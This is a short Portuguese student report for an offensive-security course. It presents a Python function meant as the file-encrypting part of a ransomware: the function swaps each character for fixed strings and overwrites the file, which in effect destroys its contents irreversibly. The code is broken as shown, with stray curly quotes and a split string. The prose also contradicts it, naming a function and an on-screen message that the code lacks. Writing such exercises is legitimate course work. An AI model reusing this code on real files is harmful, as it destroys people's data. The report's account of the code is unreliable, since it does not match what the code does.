Relatório sobre um ma

TAG de Segurança Ofensiva 1

UFRJ

Thais Angelo Ferreira de Oliveira

Ao estudar sobre os malwares para realizar a tag, me interessei muito em tentar fazer um backdoor em python, única linguagem que eu sei, e até comecei a fazer porém, quanto mais eu desenvolvia o código mais difícil ficava e mesmo após procurar códigos prontos na internet para me ajudar no desenvolvimento do meu, o entendimento deles era de certa forma confuso com o uso de varias bibliotecas e funções prontas pre existentes no python, Assim, ao enfrentar certas dificuldades para fazer um backdoor deixei essa ideia de lado e resolvi estudar e tentar fazer ransomware, é um tipo de malware que impede os usuários de acessarem seu sistema ou arquivos pessoais e exige o pagamento do resgate para recuperar o acesso, dessa forma relosvi realizar a sugestão do slide de fazer uma função para encriptar um arquivo, sendo ela uma parte de um ransomware.

Segue o código:

```
def esconde(msg):
    s = ''
    for c in msg:
        if c  in 'ABCDFGHJKLM' :
                    s  +=  'JNRijfeipjPWRPRUWPGOMÇVDLQQ.97RWTPW9P2RPHOYNLÇ,E-
I0Y59UH’
        elif c in 'OQRSTUVXWÇ':
            s += 'LGRJpojfrpijdksmca,xsdfjihtngmvcdwoirpjhtnlgm dojhtkng’
        elif c in 'abcdfgjkl':
            s += 'UOJF56213F56DIJASOUE98R08RFJMLASCganbf864\RHTNG'
        elif c in 'Zz':
            s += 'P’
        elif c in 'Ee':
            s += 'O'
        elif c in 'Nn':
```

```
            s += 'L’
        elif c in 'Ii':
            s += 'A’
        elif c in 'Tt':
            s += 'R'
        elif c in 'Pp':
            s += 'Z'
        elif c in 'Oo':
            s += 'E'
        elif c in 'Ll':
            s += 'N'
        elif c in 'aA':
            s +='I'
        else:
            s += '6gbdk.md75iurjwnd=[/.,06rtgolvekmls kdo9fjv'
    return s
lala = open('teste2', 'r')
l = lala.read()
v = esconde(l)
lala.close()
lala2 = open('teste2','w')
lala2.write(v)
lala2.close()
```

A ideia dele é receber um arquivo texto, abrir ele e ler o conteúdo, chamar a função encode(msg) para encriptar o arquivo. Ela começa varrendo cada caractere existente no arquivo e substitui por outro ou outros caracteres estabelecidos na função, a escolha desses caracteres específicos foi de maneira aleatória, após terminar de varre todo o arquivo ele é fechado e é aberto novamente na forma write, ou seja, tudo o que for escrito nele irá sobrescrever o que tinha nele, dessa forma é colocado dele a mensagem encriptada que é retornada pela função encode(), após isso o arquivo é fechado e é mostrada a mensagem ‘Arquivo criptografado’ na tela.

Obs: o código esta sendo testado com o arquivo chamado teste2, que esta no na mesma pasta que este relatório no git, caso queira testar com outro arquivo terá que mudar manualmente no código.